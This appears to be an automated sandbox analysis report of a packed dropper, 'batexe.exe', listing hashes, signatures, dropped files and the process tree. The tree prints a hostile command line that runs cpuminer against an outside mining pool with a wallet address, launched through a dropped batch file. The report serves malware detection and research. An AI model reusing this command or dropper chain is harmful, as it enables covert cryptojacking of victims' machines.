73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
308s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 16:39

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
424	b2e.exe
4168	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3792-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3792 wrote to memory of 424	3792	batexe.exe	73
PID 3792 wrote to memory of 424	3792	batexe.exe	73
PID 3792 wrote to memory of 424	3792	batexe.exe	73
PID 424 wrote to memory of 4564	424	b2e.exe	74
PID 424 wrote to memory of 4564	424	b2e.exe	74
PID 424 wrote to memory of 4564	424	b2e.exe	74
PID 4564 wrote to memory of 4168	4564	cmd.exe	77
PID 4564 wrote to memory of 4168	4564	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Users\Admin\AppData\Local\Temp\E06D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\E06D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\E06D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E474.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\E06D.tmp\b2e.exe

Filesize
3.2MB

MD5
35d614acc52ac1f063676559357ef3a0

SHA1
38bb0f406b81b4c032d7958594010287638ecd96

SHA256
397dbf36993a3df62c00ff4c243d4fa121db1cedc849f2463fde7f4b6b8005d0

SHA512
0c20d72bef049a19448ff7864f4f57a113dcbaff81dad6c45b4073cddfb9e719f5053242d98d312263a7bec791a002f26c62a24b83fc755a5ee1f47a7f8427fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\E06D.tmp\b2e.exe

Filesize
6.5MB

MD5
2f0c73a011be6d9448e1d7c6fda887d0

SHA1
e33ef9f62eba576f2b43568f2f4c5a250a79bbdf

SHA256
11a04355136f70f64f43cf886e37b890eeccbeb48d045a1ee79e1e231a9263d6

SHA512
20466b8c8be3b114197946aeadd25a62d9dcf6dc88697b18dcc264c6b531b5730a9b63c1cbddfd9b8799b120b8711e5961152f084e47c050ec37ac1f88d530c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\E474.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1024KB

MD5
1ad6167569badab73bb51c7109b56693

SHA1
85c80eff3810728aeb4af1cdfc6984facaeeb6c0

SHA256
2a0237405f10841de2c9a5d337e1ae7ef626e562194dc6d096d92ae81e88aea6

SHA512
e219d97f0dc3b5f94798dc75f5328b4e7282c420fbb4ed1b44fb1e17941486f244fa28ccd73f55fcaa299a9b2526395a6a81d20a7ff26d9fe02bad77fec68648

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
68b9ac5ae90127c74273f1cef7595a9e

SHA1
65958596f7fe21ea3e238c100800d787c3d21dbd

SHA256
1ad13e424fca379121bb202175bf2aa3435689f277211efe47db641baee60714

SHA512
7cd043504e0ac675c3b73aaf5c2614f570d9b9ba765e5d4eb256d441e06f2e3cce2d01004b6888b40fd65c656a3a422a662f547e0ed48a2c5b45ca4823ff1ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1024KB

MD5
61f1013547dc4ad24f8c5338c41931c3

SHA1
4a9f72fe7e71046ecd3d5af6443f195a6051430b

SHA256
2a65749eaa95c5c90be12d11587a82432933aabd60e8854868bc7168a36150ee

SHA512
6604219c7e5d583e8cc6a1f407e9964ab39791026857d17c9de25d3a4a8bb0272d491c6c019643eeeee8a2bd3451f3e0b75298e043777d44b8f3a161582c9b40

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
03ae1346c99a66fcbd06c3a56898820a

SHA1
cf57878eb1c3523d08468ba3e9e65a063c24d902

SHA256
bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

SHA512
b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/424-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/424-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3792-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4168-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4168-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-43-0x0000000066D30000-0x0000000066DC8000-memory.dmp

Filesize
608KB

Download
memory/4168-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4168-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4168-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download